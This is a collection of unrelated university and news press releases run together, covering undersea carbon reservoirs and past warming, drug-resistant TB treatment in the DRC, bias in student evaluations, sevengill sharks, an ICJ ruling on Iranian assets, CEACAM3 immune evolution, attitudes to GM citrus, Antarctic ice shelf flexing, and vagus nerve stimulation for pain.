Lopez earned a doctorate in space physics from Rice University in 1986. Prior to joining UTA, he worked as a research scientist and administrator at the University of Maryland at College Park, as director of Education and Outreach Programs with the American Physical Society, as professor and physics department chair at UT El Paso and as physics professor at the Florida Institute of Technology. He joined the UTA department of Physics in 2007.

###

--Greg PedersonCarbon reservoirs on the ocean bottom caused global warming before -- and could do it again, according to research by an international team of scientists led by USC

The world's oceans could harbor an unpleasant surprise for global warming, based on new research that shows how naturally occurring carbon gases trapped in reservoirs atop the seafloor escaped to superheat the planet in prehistory.

Scientists say events that began on the ocean bottom thousands of years ago so disrupted the Earth's atmosphere that it melted away the ice age. Those new findings challenge a long-standing paradigm that ocean water alone regulated carbon dioxide in the atmosphere during glacial cycles. Instead, the study shows geologic processes can dramatically upset the carbon cycle and cause global change.

For today's world, the findings could portend an ominous development. The undersea carbon reservoirs released greenhouse gas to the atmosphere as oceans warmed, the study shows, and today the ocean is heating up again due to manmade global warming.

If undersea carbon reservoirs are upset again, they would emit a huge new source of greenhouse gases, exacerbating climate change. Temperature increases in the ocean are on pace to reach that tipping point by the end of the century. For example, a big carbon reservoir beneath the western Pacific near Taiwan is already within a few degrees Celsius of destabilizing.

Moreover, the phenomenon is a threat unaccounted for in climate model projections. Undersea carbon dioxide reservoirs are relatively recent discoveries and their characteristics and history are only beginning to be understood.

Those findings come from a new research paper produced by an international team of Earth scientists led by USC and published in January in the journal Environmental Research Letters.

"We're using the past as a way to anticipate the future," said Lowell Stott, professor of Earth sciences at the USC Dornsife College of Letters, Arts and Sciences and lead author of the study. "We know there are vast reservoirs of carbon gas at the bottom of the oceans. We know when they were disrupted during the Pleistocene it warmed the planet.

"We have to know if these carbon reservoirs could be destabilized again. It's a wild card for which we need to account," Stott said.

At issue are expanses of carbon dioxide and methane accumulating underwater and scattered across the seafloor. They form as volcanic activity releases heat and gases that can congeal into liquid and solid hydrates, which are compounds stuck together in an icy slurry that encapsulates the reservoirs.

These undersea carbon reservoirs largely stay put unless perturbed, but the new study shows the natural reservoirs are vulnerable in a warming ocean and provides proof the Earth's climate has been affected by rapid release of geologic carbon.

The scientists say it occurred in the distant past when the Earth was much warmer, and it's happened more recently -- about 17,000 years ago at the end of the Pleistocene epoch when glaciers advanced and receded, which is the focus on the new study. Warming was evident due to changes in atmospheric greenhouse gas concentrations, based on ice cores, marine and continental records.

But how did that happen? What forced such dramatic change in the first place? Scientists have been searching for that answer for 40 years, with focus on oceans because they're a giant carbon sink and play a central role in carbon dioxide variations.

They soon realized that processes that regulate carbon to the ocean operated too slowly to account for the surge in atmospheric greenhouse gases that led to warming that ended the ice age. So, scientists around the world began examining the role of Earth's hydrothermal systems and their impact on deep-ocean carbon to see how it affected the atmosphere.

The new study by scientists at USC, the Australian National University and Lund University in Sweden, focused on the Eastern Equatorial Pacific (EEP) hundreds of miles off the coast of Ecuador. The EEP is a primary conduit through which the ocean releases carbon to the atmosphere.

The scientists report evidence of deep-sea hydrothermal systems releasing greenhouse gases to the ocean and atmosphere at the end of the last ice age, just as the oceans were beginning to warm. They measured increased deposition of hydrothermal metals in ancient marine sediments. They correlated glaciation intervals with variations in atmospheric carbon dioxide with differences in marine microorganism ages. They found a four-fold increase in zinc in protozoa (foraminifera) shells, a telltale sign of widespread hydrothermal activity.

Taken together, the new data show that there were major releases of naturally occurring carbon from the EEP, which contributed to dramatic change in Earth's temperature as the ice age was ending, the study says.

Elsewhere around the world, more and more deep-ocean carbon reservoirs are being discovered. They mostly occur near hydrothermal vents, of which scores have been identified so far, especially in the Pacific, Atlantic and Indian oceans. They occur where the Earth's crust spreads or collides, creating ideal conditions for the formation of deep-sea carbon dioxide reservoirs. Only about one-third of the ocean's volcanic regions have been surveyed.

One such reservoir of undersea carbon dioxide, seen in the accompanying video, was discovered about 4,000 feet deep off the coast of Taiwan. Similar discoveries of carbon gas reservoirs have been made off the coast of Okinawa, in the Aegean Sea, in the Gulf of California and off the west coast of Canada.

"The grand challenge is we don't have estimates of the size of these or which ones are particularly vulnerable to destabilization," Stott said. "It's something that needs to be determined."

In many cases, the carbon reservoirs are bottled up by their hydrate caps. But those covers are sensitive to temperature changes. As oceans warm, the caps can melt, a development the paper warns would lead to a double wallop for climate change -- a new source of geologic carbon in addition to the manmade greenhouse gases.

Oceans absorb nearly all the excess energy from the Earth's atmosphere, and as a result they have been warming rapidly in recent decades. Over the past quarter-century, Earth's oceans have retained 60 percent more heat each year than scientists previously had thought, other studies have shown. Throughout the marine water column, ocean heat has increased for the last 50 years. The federal government's Climate Science Special Report projected a global increase in average sea surface temperatures of up to 5 degrees Fahrenheit by the end of the century, given current emissions rates. Temperature gains of that magnitude throughout the ocean could eventually destabilize the geologic hydrate reservoirs, Stott said.

"The last time it happened, climate change was so great it caused the end of the ice age. Once that geologic process begins, we can't turn it off," Stott said.

Moreover, other similar events have happened in the distant past, helping shape the Earth's environment over and over again. In earlier research, Stott discovered a large, carbon anomaly that occurred 55 million years ago. It disrupted the ocean's chemistry, causing extensive dissolution of marine carbonates and the extinction of many marine organisms. The ocean changes were accompanied by a rapid rise in global temperatures, an event called the Paleocene-Eocene Thermal Maxima (PETM), a period lasting less than 20,000 years during which so much carbon was released to the atmosphere that Earth's temperatures surged to about 8 degrees Celsius hotter than today.

"Until quite recently, we had no idea these events occurred. The PETM event is a good analog for what can happen when undersea carbon escapes through the water column to the atmosphere. And now we know the PETM event was not a unique event, that this has happened more recently," Stott said.

The study comes with some caveats. Much of the ocean floor is unexplored, so scientists don't know the full extent of the carbon dioxide reservoirs. There is no inventory of greenhouse gases from these geologic sources. And ocean warming is not uniform, making it difficult to predict when and where the undersea carbon reservoirs will be affected. It would take much more study to answer those questions.

Nonetheless, the study makes clear the undersea carbon reservoirs are vulnerable to ocean warming.

"Geologic carbon reservoirs such as these are not explicitly included in current marine carbon budgets" used to model the impacts of climate change, the study says. Yet, "even if only a small percentage of the unsampled hydrothermal systems contain separate gas or liquid carbon dioxide phases, it could change the global marine carbon budget substantially."

Said Stott: "Discoveries of accumulations of liquid, hydrate and gaseous carbon dioxide in the ocean has not been accounted for because we didn't know these reservoirs existed until recently, and we didn't know they affected global change in a significant ways.

"This study shows that we've been missing a critical component of the marine carbon budget. It shows these geologic reservoirs can release large amounts of carbon from the oceans. Our paper makes the case that this process has happened before and it could happen again."

###

The study authors are Lowell Stott of USC, Kathleen M. Harazin of the Australian National University and Nadine B. Quintana Krupinski of Lund University, Sweden. U.S. funding for the study comes from a National Science Foundation Marine Geology and Geophysics Grant (1558990).PITTSBURGH, Feb. 13, 2019 - A high proportion of multidrug-resistant tuberculosis (TB) cases can be cured in conflict-affected communities with molecular diagnostics, shorter treatment periods and socioeconomic incentives, according to the results of a large, long-term study in the Democratic Republic of Congo (DRC) led by the University of Pittsburgh Graduate School of Public Health and Stellenbosch University in South Africa, in collaboration with the DRC National Tuberculosis Program.

The findings, reported today in the journal Clinical Infectious Diseases, could guide clinicians and public health workers in other post-conflict or low-income countries battling or at-risk for TB outbreaks.

TB is caused by a bacteria that usually attacks the lungs and spreads through the air when a person with an active TB lung infection coughs, sneezes or talks. According to the U.S. Centers for Disease Control and Prevention, a quarter of the world's population is infected with TB, though not all have active cases, and there are 1.3 million TB-related deaths annually. Some of the bacteria that cause TB have developed resistance to the antibiotics commonly used to treat it.

"Conventional treatment regimens for multidrug resistant TB can be as much as 1,000 times more expensive and take four times as long as treatment for regular TB. The cure rate is only about 50 percent, and treatment can have severe side effects, such as permanent hearing loss," said senior study author Jean B. Nachega, M.D., Ph.D., M.P.H., associate professor in the departments of Epidemiology and Infectious Diseases and Microbiology at Pitt Public Health, and director of the Centre for Infectious Diseases at Stellenbosch University. "Without effective therapy, people with multidrug-resistant TB can infect others who have never had TB before."

The Second Congo War, which started in 1997, caused massive disruption of health care services in the eastern DRC, contributing to an increase in TB cases and TB-related deaths. According to the World Health Organization, there were about 262,000 new cases of TB and 56,000 TB-related deaths in the DRC in 2017.

Nachega partnered with lead study author Andre N.H. Bulabula, M.D., M.Sc., a doctoral student in Stellenbosch's Department of Global Health and member of the Infection Control Africa Network, as well as colleagues from the DRC National TB Program, to evaluate 16,448 patients for TB between 2012 and 2017 in post-conflict DRC. They used a new molecular diagnostic tool called Xpert MTB/RIF to detect multidrug-resistant TB in less than two hours, something that can take several weeks using conventional tests. The scientists found TB in 1,535 patients, and 170 of them, or 11 percent, had a strain of TB resistant to the antibiotic rifampicin.

Patients with rifampicin-resistant TB were assigned to either receive a new nine-month regimen, which involved receiving four different antibiotics throughout, supplemented by three other antibiotics (including one injectable) during a four-month intensive phase, or the conventional 20- or 24-month treatment regimens, which involved five different antibiotics taken throughout, supplemented by one injectable antibiotic during a six-month intensive phase. All of the patients were assigned to "directly observed therapy," where a nurse at the local clinic, or a community health worker or trained family member at home observed the patient take their medication.

Of the patients who received the nine-month schedule, 83 percent were cured, compared to 74 percent of those receiving conventional therapy. The biggest predictors of success were the consistent use of directly observed therapy, the lack of serious drug side effects that can cause a patient to stop therapy, and the patient receiving cash incentives for adherence to treatment.

"In this challenging treatment setting, it is compelling that our findings are in line with those previously reported by observational studies in Bangladesh and other sub-Saharan African countries, as well as the interim results of an ongoing multinational randomized trial," said study co-author Zacharie M. Kashongwe, M.D., Ph.D., professor of pulmonology at the University of Kinshasa in the DRC.

Nachega added that the data should inform new multidrug-resistant TB care guidelines in low- and middle-income countries, including expanding use of the Xpert testing; prompt initiation of shorter, less-toxic drug regimens that are ideally entirely taken orally; involving trained community health workers in delivering TB services; and developing, as well as initiating, community-based drug-resistant TB prevention strategies.

###

Additional institutions that participated in this research are the Center for Evidence-Based Health Care in South Africa, the Institute of Human Virology in Nigeria, University of Maryland, Johns Hopkins University, TB REACH Initiative in Switzerland, Boston University, KatholiekeUniversiteit Leuven in Belgium, Amsterdam University in the Netherlands; and Universite Catholique de Bukavu, Challenge Tuberculosis Initiative, University Hospital of Kinshasa, and the International Centre for Advanced Research and Training, all in the DRC.

This research was funded by Global Affairs Canada through Stop TB Partnership's TB REACH Wave-2 grant to the South Kivu Branch of the DRC National Tuberculosis Program, and VlaamseInteruniversitaireRaad-UniversitaireOntwikkelingssamenwerkingInstitutional University Cooperation grant no. PRDC 2012MP80, which supports a partnership between Ghent University, University of Antwerp, Katholieke Universiteit Leuven in Belgium and the Universite Catholique de Bukavu in the DRC.

About the University of Pittsburgh Graduate School of Public Health

The University of Pittsburgh Graduate School of Public Health, founded in 1948 and now one of the top-ranked schools of public health in the United States, conducts research on public health and medical care that improves the lives of millions of people around the world. Pitt Public Health is a leader in devising new methods to prevent and treat cardiovascular diseases, HIV/AIDS, cancer and other important public health problems. For more information about Pitt Public Health, visit the school's Web site at http://www. publichealth. pitt. edu .

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E-mail: HareE@upmc.eduStudents are more likely to rate male university teachers higher than their female counterparts in some areas of STEM and Business, according to Australia's largest review of student experience surveys.

The study, published today in PLOS ONE, examined almost 525,000 individual student experience surveys from UNSW Sydney students from 2010-2016 across five faculties. It is the first study to examine the interaction between gender and cultural bias.

"These results have enormous flow-on effects for society, beyond education, as over 40% of the Australian population now go to university, and graduates may carry these biases with them into the workforce," said Associate Professor Yanan Fan, lead author on the study and statistician from UNSW Science.

The study showed that in Business and Science, a male teacher from an English-speaking background was more than twice as likely to get a higher score on a student evaluation than a female teacher from a non-English speaking background. In Engineering, there wasn't a significant swing against female teachers, except male English-speaking teachers were 1.4 times more likely to get a higher score than teachers in all other categories. For Medicine, local students were more likely to give lower scores to female teachers from non-English speaking backgrounds.

"In the Business and Science faculties in particular, male English-speaking teachers have the highest probability of getting the highest possible grade at six, out of six possible scores," Associate Professor Fan said.

In Arts and Social Sciences, there was no statistically significant bias against female teachers. The results suggest that where there is a larger proportion of female teachers, such as in Arts and Social Sciences, there is less bias. Bias was observed, however, against male non-English speaking background teachers when evaluated by local students.

"The results show universities must be models of equity and diversity in order to breakdown inequalities that persist in even the most progressive of workplaces," said Professor Merlin Crossley, UNSW Deputy Vice-Chancellor Academic.

"We regard student experience surveys as essential, but we have to know how to interpret the results in order understand unconscious bias and how we can bring about change. UNSW is driving a strategy that embraces diversity and we believe these biases will diminish over time. Diversity is a great strength of UNSW and we must keep celebrating it," said Professor Crossley.

Professor Crossley pointed to unconscious bias training, one of the key initiatives of UNSW's Equity, Diversity and Inclusion Board, as a program that tackles often hidden beliefs and attitudes about gender and culture.

In 2017, UNSW appointed Professor Eileen Baldry as UNSW's first Deputy Vice-Chancellor Inclusion and Diversity. One of the key objectives of the role, and of UNSW's 2025 Strategy, is achieving gender equity targets at all staff grades.

Associate Professor Fan said there was growing evidence to suggest that all aspects of employment, from hiring to performance evaluation to promotion, are affected by gender and cultural background.

"Reducing bias will have great benefits for society as university students represent a large proportion of future leaders in government and industry," said Associate Professor Fan.

Dean of Science at UNSW and co-author of the study, Professor Emma Johnston, says encouraging more women at the professorial level, in leadership positions and in membership of key committees will help shrink these biases.

"We need to continue to support women at all levels of academia in STEM across Australia, in order to smash stereotypes that create the partiality that exists within our community."

"We have clear targets for more gender diversity, particularly at the top. The Science Equity, Diversity and Inclusion working group is crucial for improving the number of women at all levels and helping to remove unconscious bias in performance evaluation," said Professor Johnston.

Last year, UNSW appointed five new Diversity Champions who will act as advocates, lead diversity working groups and identify ways UNSW can achieve its goal to be a global leader in equity, diversity and inclusion. The new Diversity Champions will serve a two-year term from 2019-2020.

###18-year study provides new insights into how an ocean ecosystem can change following the decline of an apex predator

MIAMI--February 13, 2019-- A new study has documented unexpected consequences following the decline of great white sharks from an area off South Africa. The study found that the disappearance of great whites has led to the emergence of sevengill sharks, a top predator from a different habitat. A living fossil, sevengill sharks closely resemble relatives from the Jurassic period, unique for having seven gills instead of the typical five in most other sharks.

These findings are part of a long-term collaborative study between shark researcher Neil Hammerschlag from the University of Miami (UM) Rosenstiel School of Marine and Atmospheric Science, and wildlife naturalist Chris Fallows from Apex Shark Expeditions.

The research focused on the waters surrounding Seal Island in False Bay, South Africa, a site well known for its "flying" great white sharks that breach out of the water when attacking Cape fur seals. Since the year 2000, the research team has spent over 8,000 hours observing great whites from boats, during which they recorded 6,333 shark sightings, and 8,076 attacks on seals. These data revealed that for more than a decade, great white numbers were relatively stable, but in 2015 sightings began to drop off steeply.

"In 2017 and 2018, their numbers reached an all-time low, with great whites completely disappearing from our surveys for weeks and months at a time," said study lead author Neil Hammerschlag, a research associate professor at the UM Rosenstiel School and Abess Center for Ecosystem Science & Policy. "While the reasons for their decline and disappearance remains unknown, it provided a truly unique opportunity for us to see what happens to an ocean ecosystem following the loss of an apex predator."

"In 18+ years of working at Seal Island, we had never seen sevengill sharks in our surveys," said co-author Chris Fallows. "Following the disappearance of white sharks in 2017, sevengill began to show up for the first time and have been increasing in number ever since."

During periods of great white absence in 2017 and 2018, the researchers documented 120 sevengill shark sightings and even witnessed an individual attacking a live seal. In South African waters, sevengill sharks have no equal in the food web with the exception of the great white and orca whale. Historically, the only well-known aggregation site for sevengills in False Bay was located 18 km away from Seal Island within inshore kelp beds. The study suggested that the appearance of sevengill sharks at Seal Island was due to the disappearance of great whites, thereby allowing sevengills to exploit the area without risk of predation from great white sharks or competition with them for shared prey.

This 18-year study provided new insights into the diverse ways that a marine ecosystem can be altered following the loss of an apex predator.

###

Video on youtube: https:/ / www. youtube. com/ watch?v= v4WGzntVz2Q

The study, titled "Disappearance of white sharks leads to the novel emergence of an allopatric apex predator, the sevengill shark," DOI: 10.1038/s41598-018-37576-6 was published in the online journal Scientific Reports on February 13, 2019. The papers coauthors include: Neil Hammerschlag, of the UM Rosenstiel School, Department of Marine Ecosystems and Society and UM Leonard and Jane Abess Center for Ecosystem Science and Policy; Chris Fallows, Monique Fallows and Lacey Williams of Apex Shark Expeditions.The Court rejected Washington's argument that it had no jurisdiction over the matter and that Iran sponsored terrorism. Washington wanted to use the funds to compensate the victims of terrorism. In Warsaw, the Trump administration is trying to build up an anti-Iran coalition.

The Hague (AsiaNews)  The International Court of Justice (ICJ) in The Hague has ruled that Iran can start the process to recover US$ 2 billion unjustifiably frozen by the US government.

The ICJ rejected US objections to Irans claims, namely that Tehran had unclean hands and supported terrorism; conversely, the highest UN court said it had no jurisdiction over the dispute itself.

Although the Court in The Hague is the highest UN court and its decisions have binding force, it has no power to enforce them and several countries, including the United States, have ignored its decisions in the past.

Iran challenged before the ICJ new US sanctions and its decision to freeze Iranian assets in violation of a treaty the two countries signed in 1955. After the Courts ruling was announced, the US pulled out of the Treaty of Amity.

In both cases, Washington has accused Tehran of sponsoring state terrorism. About a thousand survivors and relatives would have shared the frozen assets.

Todays ruling threatens to heighten tensions, already high because of the conflict over Irans nuclear programme and a decision in October by the Court against US sanctions.

Things will not be improved by a two-day summit that opened today in Warsaw, Poland, which, with US backing, seeks to built an anti-Iran coalition and lay the ground for a military attack.

In June 2016, the Islamic Republic took the United States to the UN court to force it to return Iranian assets illegally frozen in the United States.

In April of that year, the US Supreme Court ruled that the assets should be used to compensate about a thousand survivors and relatives of victims of attacks blamed on Tehran, like the 1983 US Marine barracks attack in Beirut and the 1996 attack against the Khobar Towers in Saudi Arabia.

The escalation between the two countries is driven by US President Donald Trumps decision to wage economic, diplomatic and trade war against the Islamic Republic.

In May 2018, the US pulled out of the Joint Comprehensive Plan of Action (JCPOA) brokered by Trumps predecessor Barack Obama, and imposed the toughest sanctions in history against Iran.

The latter cut deeply in Irans oil exports, the main goal of the second wave of sanctions that came into effect on 4 November, and negatively impacted the Iranian economy, especially the weakest segments of the countrys population.Cell biologists from the University of Konstanz shed light on a recent evolutionary process in the human immune system and publish their findings in the scientific journal Current Biology. Facilitated by public genome data this work provides evidence that genetic alterations in the receptor molecule CEACAM3 are linked to the ability to defend against particular pathogenic microbes.

Like professional burglars for their clandestine activities, bacterial pathogens also need the right tool set to sneak in and establish themselves in our bodies. In this regard, some microbes are extreme specialists that infect only a single host organism. This small group includes the gonococcus and the pathogen Haemophilus influenzae, which are found only in humans. Both these pathogens share the ability to outmanoeuvre various defence mechanisms of the human body in order to attach themselves to the mucous membranes.

As recent work from the laboratory of Professor Christof Hauck, cell biologist at the University of Konstanz, now shows in the scientific journal Current Biology, our body is not helpless against these highly specialised bacteria either. A receptor, which specifically recognizes and destroys pathogens such as gonococci, is found on phagocytes of our immune system. Surprisingly, this specialized pathogen detector, named CEACAM3, exists only in humans and in our closest relatives in the animal kingdom, such as chimpanzees, gorillas and rhesus monkeys: Jonas Adrian and Patrizia Bonsignore from Christof Hauck's group screened the genomes of various primate species for the presence of CEACAM3. They could find a CEACAM3-like receptor only in more highly evolved apes, but not in lemurs or other basal monkeys.

"This finding suggests that this receptor molecule emerged only relatively recently in the evolutionary history of primates," says Hauck. Comparison of this receptor between various great apes furthermore revealed that CEACAM3 evolves surprisingly fast. This rapid development can be explained by the function of the receptor as a defence against specialized bacteria: Any change on the bacterial surface that allows the pathogen to escape this immune surveillance will be matched, in the course of generations, by a corresponding change in CEACAM3. "The result is a kind of molecular arms race, in which sometimes the microbes have the edge, and sometimes the immune system has," explains Christof Hauck.

A look at the global diversity of CEACAM3 shows that we are in the midst of an ongoing competition here. "In some human populations, for example on the African continent, variants of this receptor exist. This detailed insight into the genomes of human populations has been made possible only through global data collection in recent years," explains Jonas Adrian. With the function of CEACAM3 in mind, it was reasonable to assume that these CEACAM3 variants have the potential to detect and eliminate additional pathogens. To put this assumption to the test, Adrian and Bonsignore conducted binding studies with variants of the receptor and various bacterial pathogens. First, they modified the regular CEACAM3 molecule according to the variants found in particular human populations. Then, they produced these variants in the laboratory and specifically brought them into contact with various pathogens to analyse their binding. With this approach, the scientists were able to demonstrate that these CEACAM3 variants detect additional pathogens, including Haemophilus influenzae. So while most people can control specialized pathogens with the help of CEACAM3, people with a CEACAM3 variant are able to hold an even wider range of bacteria at bay.

The ongoing competition between humans and microbes impressively demonstrates how the mechanisms of evolution have shaped the human genome as well. The unusually rapid development of CEACAM3 indicates that such a precision pathogen detector was advantageous for our primate ancestors to hold their ground against highly specialized pathogens.

###

Fact overview:

Original publication: Adrian, J., Bonsignore, P., Hammer, S., Frickey, T., Hauck, C. R. (2019): Adaptation to host-specific bacterial pathogens drives rapid evolution of a human innate immune receptor, Current Biology 29, 1-15. https:/ / doi. org/ 10. 1016/ j. cub. 2019. 01. 058 . Published online on 07 February 2019

29, 1-15. https:/ . Published online on 07 February 2019 Fierce competition between the human immune system and bacterial pathogens

Research results point to recent evolutionary development of the receptor CEACAM3

The lead authors Jonas Adrian and Patrizia Bonsignore are members of the Graduate School Biological Sciences at the University of Konstanz

Research in cooperation with Professor Tancred Frickey (Scion, New Zealand), previously junior professor at the Department of Biology of the University of Konstanz, and the Graduate School Chemical Biology, which is funded until 2019 in the context of the German Excellence Initiative

Supported by the German Research Foundation (DFG)

Note to editors:

You can download a photo here:

Illustration: https:/ / cms. uni-konstanz. de/ fileadmin/ pi/ fileserver/ 2019/ Bilder/ Neue_Erkenntnisse_ueber_Entwicklung_des_Immunsystems. jpg

Caption: The pseudocolored electron microscope image shows a human phagocyte (purple) and a bacterium (turquoise). With the aid of the CEACAM3 receptor investigated, the phagocyte is able to detect and destroy the bacteria, which are about one micrometre in size (image source: Electron Microscopy Centre, Department of Biology, University of Konstanz, Dr. M. Laumann; Prof. Dr. C. R. Hauck).

Copyright: Electron Microscopy Centre

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E-Mail: kum@uni-konstanz.deCHAMPAIGN, Ill. -- A tiny insect, no bigger than the head of a pin, is threatening to topple the multibillion-dollar citrus industry in the U.S. by infecting millions of acres of orchards with an incurable bacterium called citrus greening disease.

The battle to save the citrus industry is pitting crop producers and a team of agriculture researchers - including agricultural communications professor Taylor K. Ruth of the University of Illinois - against a formidable brown bug, the Asian citrus psyllid, which spreads the disease.

Trees infected with the disease, also called Huanglongbing or HLB, bear small, misshapen, bitter-tasting green fruit and often die within five years. Currently, there's no known cure for the disease, which has cost the U.S. citrus industry billions of dollars in crop production and thousands of jobs since it was first identified in Florida in 2005, according to agriculture experts.

Among other solutions, scientists are exploring the possibility of breeding genetically modified trees that are resistant to the disease.

But given the controversy over the safety of genetically modified food, scientists need to know whether producers will adopt this technology and whether shoppers will buy and consume GM citrus fruit.

A recent study, funded by the U.S. Department of Agriculture, provides some encouraging answers.

Ruth was on a team of scientists from several universities that surveyed a representative sample of U.S. consumers and conducted focus groups to better understand American consumers' attitudes about GM food and agriculture.

About half of the 1,050 people who responded to the survey had positive attitudes toward GM science, the researchers found. Nearly 37 percent of the consumers surveyed felt neutral about GM science and 14 percent had negative perceptions of it.

Most of the people who were receptive to GM science were white males who were millennials or younger, the data indicated. They were highly educated - most held a bachelor's degree or higher - and affluent, with annual incomes of $75,000 or greater.

Women, on the other hand, constituted 64 percent of the group with negative feelings about GM science. Baby boomers and older adults were nearly twice as likely to fall into this group. People in this group also were less educated - about half reported some college but no degree.

The findings were published recently in the journal Science Communication. Co-authors of the paper were Joy N. Rumble, of Ohio State University; Alexa J. Lamm, of the University of Georgia; Traci Irani, of the University of Florida; and Jason D. Ellis, of Kansas State University.

Since social contexts influence public opinion on contentious issues, the survey also assessed respondents' willingness to share their opinions about GM science, their current perceptions of others' views on the topic and what they expected public opinion about it to be in the future.

The research team was particularly interested in exploring the potential impact of the "spiral of silence" theory, a hypothesis on public opinion formation that states in part that people who are highly vocal about their opinions in public encourage others with similar views to speak out while effectively silencing those who hold opposite views.

"If people believe the majority of others disagree with them on a topic, they will feel pressure to conform to the majority opinion," Ruth said.

"People aren't going to be supportive of something if nobody else is supportive of it - no one wants to feel like they are different from the group. That's the reality of the world that we live in today."

By contrast, people surveyed who rejected GM science were more likely to express their opinion when they believed others held the opposite view. But people with positive feelings about GM technology were less likely to speak out when they believed others supported it too.

"The way others express their attitude has an indirect effect on what our attitude ends up being," Ruth said. "We might fall in the actual majority opinion about some of these complex topics, but if other people aren't vocalizing their opinions, we don't know that others out there are like-minded.

"Then we start to think 'Well, maybe I should realign my attitude to what I'm seeing in the media.' What we see in the media is just reflective of the most dominant voice in the conversation, not necessarily the majority opinion. And I think sometimes people don't quite understand that."

Like climate change, GM science is among the complex challenges that some researchers call "wicked issues" - societal problems that are often poorly understood and fraught with conflict, even when the public is provided with relevant science and facts, Ruth, Rumble, Lamm and Ellis wrote in a related study.

That paper was published recently in the Journal of Agricultural Education.

"We must have these conversations about these wicked issues," Ruth said. "If scientists let other people who don't have a scientific background fill the void, we're not going to be a part of that conversation and help people make decisions based upon all of the facts."

###The filling and draining of meltwater lakes has been found to cause a floating Antarctic ice shelf to flex, potentially threatening its stability.

A team of British and American researchers, co-led by the University of Cambridge, has measured how much the McMurdo ice shelf in Antarctica flexes in response to the filling and draining of meltwater lakes on its surface. This type of flexing had been hypothesised before and simulated by computer models, but this is the first time the phenomenon has been measured in the field. The results are reported in the journal Nature Communications.

The results demonstrate a link between surface melting and the weakening of Antarctic ice shelves and support the idea that recent ice shelf breakup around the Antarctic Peninsula may have been triggered, at least in part, by large amounts of surface meltwater produced in response to atmospheric warming.

As the climate continues to warm, more and more ice shelves may become susceptible to flex, fracture and break up over the coming century.

Most of the Antarctic continent is covered by the Antarctic Ice Sheet, which is up to four kilometres thick and contains enough ice to raise global sea levels by about 58 metres. Over most of the continent and for most of the year, air temperatures are well below zero and the ice surface remains frozen. But around 75% of the ice sheet is fringed by floating ice shelves, which are up to a kilometre thick, mostly below sea level, but with tens of metres of their total height protruding above the water. In the summer months, when air temperatures rise above freezing, the surfaces of these ice shelves are susceptible to melting.

"Surface water on ice shelves has been known about for a long time," said co-author Dr Ian Willis from Cambridge's Scott Polar Research Institute. "Over 100 years ago, members of both Shackleton's Nimrod team and the Northern Party team of Scott's British Antarctic Expedition mapped and recorded water on the Nansen Ice Shelf, around 300 kilometres from where we did our study on the McMurdo Ice Shelf. For the last few decades, it has also been possible to see widespread surface meltwater forming on many ice shelves each summer from satellite imagery."

What is not fully known is the extent to which surface water might destabilise an ice shelf, especially in warmer summers when more meltwater is produced. If the slope of the ice shelf is sufficiently steep, the water may flow off the ice shelf to the ocean in large surface rivers, mitigating against any potential instability.

The danger comes if water pools up in surface depressions on the ice shelf to form large lakes. The extra weight of the water will push down on the floating ice, causing it to sink a bit further into the sea. Around the edge of the lake, the ice will flex upwards to compensate. "If the lake then drains, the ice shelf will now flex back, rising up where the lake used to be, sinking down around the edge," said lead author Dr Alison Banwell, also from SPRI. "It is this filling and draining of lakes that causes the ice shelf to flex, and if the stresses are large enough, fractures might also develop."

Banwell and co-author Professor Doug MacAyeal from the University of Chicago had previously suggested that the filling and draining of hundreds of lakes might have led to the catastrophic breakup of the Larsen B Ice Shelf 2002 when 3,250 square kilometres of ice was lost in just a few days.

"We had been able to model the rapid disintegration of that ice shelf via our meltwater loading-induced fracture mechanism," said Banwell. "However, the problem was that no one had actually measured ice shelf flex and fracture in the field, and so we were unable to fully constrain the parameters in our model. That's partly why we set out to try to measure the process on the McMurdo ice shelf."

Using helicopters, snow machines and their own two feet, the researchers set up a series of pressure sensors to monitor the rise and fall of water levels in depressions which filled to become lakes, and GPS receivers to measure small vertical movements of the ice shelf.

"It was a lot of work to obtain the data, but they reveal a fascinating story," said MacAyeal. "Most of the GPS signal is due to the ocean tides, which move the floating ice shelf up and down by several metres twice a day. But when we removed this tidal signal we found some GPS receivers moved down, then up by around one metre over a few weeks whereas others, just a few hundred metres away, hardly moved at all. The ones that moved down then up the most were situated where lakes were filling and draining, and there was relatively little movement away from the lakes. It is this differential vertical motion that shows the ice shelf is flexing. We'd anticipated this result, but it was very nice when we found it."

The team hope that their work will inspire others to look for evidence of flex and fracture on other ice shelves around Antarctica. Their work will also help in developing ice sheet scale models that could be used to predict the stability of ice shelves in the future and to understand the controls on ice shelf size since they act as buffers against fast-moving ice from the continent. As ice shelves shrink, glaciers and ice streams behind them flow more rapidly to the ocean, contributing to global sea level rise.

###

The work was funded by the US National Science Foundation, the Leverhulme Trust, NASA, and CIRES, University of Colorado, Boulder.Post-traumatic stress disorder, or PTSD, is a mental condition caused by a traumatic event. People with PTSD may experience intrusive memories, negative thoughts, anxiety and chronic pain. The condition is typically treated with a combination of psychotherapy, anti-depressants and anti-anxiety medications.

It's this connection between mental health and pain that interests Imanuel Lerman, MD, associate professor at University of California San Diego School of Medicine, Jacobs School of Engineering and Qualcomm Institute, and a pain management specialist at UC San Diego Health and Veterans Affairs San Diego Healthcare System.

Lerman especially wants to know how the emotional pain experience may be influenced by the vagus nerve, which runs down both sides of our necks from the brainstem to the abdomen. The vagus nerve also plays a critical role in maintaining heart rate, breathing rate, digestive tract movement and many other basic body functions.

In a study published February 13, 2019 in PLOS ONE, Lerman and colleagues tested noninvasive vagus nerve stimulation as a method for dampening the sensation of pain.

"It's thought that people with certain differences in how their bodies -- their autonomic and sympathetic nervous systems -- process pain may be more susceptible to PTSD," Lerman said. "And so we wanted to know if we might be able to re-write this 'mis-firing' as a means to manage pain, especially for people with PTSD." Lerman led the study with Alan N. Simmons, PhD, director of the fMRI Research Laboratory at Veterans Affairs San Diego Healthcare System and associate professor of psychiatry at UC San Diego School of Medicine.

The team used functional magnetic resonance imaging (fMRI) to get a look at the brains of 30 healthy study participants after a painful heat stimulus was applied to their legs. To determine how the body's sympathetic nervous system responds to pain, they also measured the sweat on the skin of participants before the heat was applied, and at several points as the heat increased.

Half the participants were treated with noninvasive vagus nerve stimulation for two minutes -- via electrodes placed on the neck -- approximately 10 minutes before the heat stimulus. The other half received a mock stimulation.

Lerman and colleagues report three main findings from this study. First, vagus nerve stimulation blunted peak response to heat stimulus in several areas of the brain known to be important for sensory and discriminative pain processing, as well as in emotional pain centers. The treatment also delayed the pain response in these brain regions -- pain-related brain regions were activated ten seconds later in participants pre-treated with vagus nerve stimulation than in sham-treated participants.

